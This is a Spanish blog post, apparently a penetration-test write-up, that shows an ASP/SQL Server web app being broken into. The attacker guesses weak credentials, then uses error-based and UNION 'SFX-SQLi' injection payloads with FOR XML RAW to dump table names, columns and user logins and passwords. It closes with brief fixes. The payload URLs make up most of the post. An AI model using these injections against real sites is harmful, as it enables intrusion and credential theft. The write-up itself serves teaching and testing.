domingo, 21 de agosto de 2011

Hasta la cocina

Por motivos laborales, decido realizar test de penetración de la aplicación web donde tengo que desarrollar una aplicación.
Evidentemente, los nombres, direcciones, contraseñas y demás datos han sido modificados para este artículo.

A medida que avanza el test, se van encontrando diferentes fallos. Este post se centrará en la explotación de la vulnerabilidad SFX-SQLi, que mediante una única petición permite el volcado de los datos de toda una tabla en formato XML en un campo, inyectando una subconsulta en una entrada vulnerable. Para más información se recomienda dar un paseo por la web de Dani Kachakil, así como leer el artículo que le dedicó Chema Alonso, donde explican esto detalladamente.

La aplicación está desarrollada en asp. Al entrar en la web aparece la típica ventana para loguearnos.
Se prueban varias combinaciones típicas sin resultado positivo y sin bloqueo en el número de intentos por lo que se podía haber utilizado un script por fuerza bruta para obtener el login y password, pero vemos que tiene un enlace para el cambio de contraseña que nos abre otra ventana en un nuevo directorio.

También habíamos encontrado este directorio mediante WFUZ de Christian Martorella.

Analizando el código de la página de cambio de contraseñas, vemos un enlace que apunta a un archivo .asp. Descargamos el archivo que nos facilita mucha información acerca de como desarrollan la aplicacion y además encontramos un email del antiguo desarrollador de la aplicación.

Se prueba con el nombre y apellido en el formato del email, tanto para el usuario y password, obteniendo fácil acceso dado a una mala política de seguridad también en las contraseñas.

Una vez dentro y de casualidad, nos encontramos con un error OLE DB 80040e14 al probar si es vulnerable a XSS.


http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=>



Microsoft OLE DB Provider for SQL Server error '80040e14'
Sintaxis incorrecta cerca de '>'.



Debido al error se deduce que es posible SQLi y se confirma al obtener los primeros datos de la DB:

http://webEjemplo .com/ventanas/Ejemplo.asp?IDEMPRESA=%27%20having%201=1--


Microsoft OLE DB Provider for SQL Server error '80040e14'
La columna 'tbEjemplo.ID' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.


Se obtiene el nombre de la tabla y el primer campo, se podría deducir como serán las otras tablas pero iremos paso a paso.

'GROUP BY tbEjemplo.ID having 1=1—

http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=%27%20GROUP%20BY%20ID,%20NOMBRE,%20TELEFONO%20having%201=1--


La columna 'tbEjemplo.FAX' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.


Se van extrayendo las columnas una a una hasta tener la tabla completa, las siguientes se podrán sacar desde una única consulta mediante subconsulta.

http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=%27%20UNION%20SELECT%20MIN%28ID%29,1,1,1,1,1,1%20FROM%20tbUSUARIOS%20WHERE%20ID%20%3E1--
Para ver el nombre de la base de datos:
http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=1+and+1=convert%28int,db_name%28%29%29--


Microsoft OLE DB Provider for SQL Server error '80040e07'
Error de conversión al convertir el valor nvarchar 'dbwebEjemplo_DEV' al tipo de datos int.



Se pueden obtener más datos como el usuario que estamos utilizando de acceso:

http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=1+and+1=convert%28int,user_name%28%29%29--


Microsoft OLE DB Provider for SQL Server error '80040e07' Error de conversión al convertir el valor nvarchar 'dbo' al tipo de datos int.


http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=1+and+1=convert%28int,%28select+top+1+table_name+from+information_schema.tables%29%29--


Microsoft OLE DB Provider for SQL Server error '80040e07' Error de conversión al convertir el valor nvarchar 'tbUSUARIOS' al tipo de datos int.



http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=1 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbUSUARIOS')))--


Error de conversión al convertir el valor nvarchar 'sysdiagrams' al tipo de datos int.



http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=1 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbUSUARIOS','sysdiagrams')))--


Error de conversión al convertir el valor nvarchar 'tbUSUARIOSHISTORICOPASSWORD' al tipo de datos int.


Y así una a una…

También se puede encontrar el nombre de las columnas con:
http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=1 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='tbUSUARIOS'))--


Error de conversión al convertir el valor nvarchar 'ID' al tipo de datos int.

=1 and 1=convert(int,(select top 1 column_name from information_schema.columns
where table_name='tbUSUARIOS'and+column_name not in ('ID','NOMBRE','APELLIDO1','APELLIDO2')))--





Y al final, la parte más interesante.
Mediante union podemos sacar todos los datos de la tabla con SFX-SQLi, tal como se ha dicho al principio, inyectando una subconsulta en uno de los campos (varchar), en este caso se escoge el segundo campo.

La consulta sería algo así:


select * from tbEjemplo UNION SELECT ID,(SELECT * FROM tbEjemplo FOR XML RAW),'1','1','1','1',1 FROM tbEjemplo –



En el ejemplo:

http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=%27%20UNION%20SELECT%20ID,1,%28SELECT%20*%20FROM%20tbEjemplo%20FOR%20XML%20RAW%29,2,3,4,6%20FROM%20tbEjemplo%20--

Donde se puede ver como extraemos el xml en el segundo campo.








Como se ha visto, una vez sabemos el nombre de la base de datos, se pueden conseguir todas las tablas de esta db en formato XML:

http://www.webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=%27%20UNION%20SELECT%20ID,1,%28SELECT%20*%20FROM%dbwebEjemplo_DEV1.INFORMATION_SCHEMA.TABLES%20FOR%20XML%20RAW%29,2,3,4,6%20FROM%20tbEjemplo%20--





Y una vez tenemos esto podemo ver que tabla contine usuarios y lanzar la inyección por nombre de las columnas que nos interese.
Esta injección nos da los campos login y password de la tabla tbUSUARIOS en formato XML.

http://www.webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=%27%20UNION%20SELECT%20ID,1,%28SELECT%20LOGIN,%20PASSWORD%20FROM%20tbUSUARIOS%20FOR%20XML%20RAW%29,2,3,4,6%20FROM%20tbEjemplo%20--

Como también los campos Nombre, apellido1, email, login, password

http://www.webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=%27%20UNION%20SELECT%20ID,1,%28SELECT%20NOMBRE,%20APELLIDO1,%20EMAIL,%20LOGIN,%20PASSWORD%20FROM%20tbUSUARIOS%20FOR%20XML%20RAW%29,2,3,4,6%20FROM%20tbEjemplo%20--


Como se puede ver, no hace falta dedicar mucho tiempo para conseguir toda la información posible.
La solución a estos errores habría sido sencilla:

Mantener una política de seguridad de las contraseñas, controlar que parte de código es accesible desde el cliente y filtrar los parámetros antes de ser pasados habría sido suficiente.


No hay comentarios: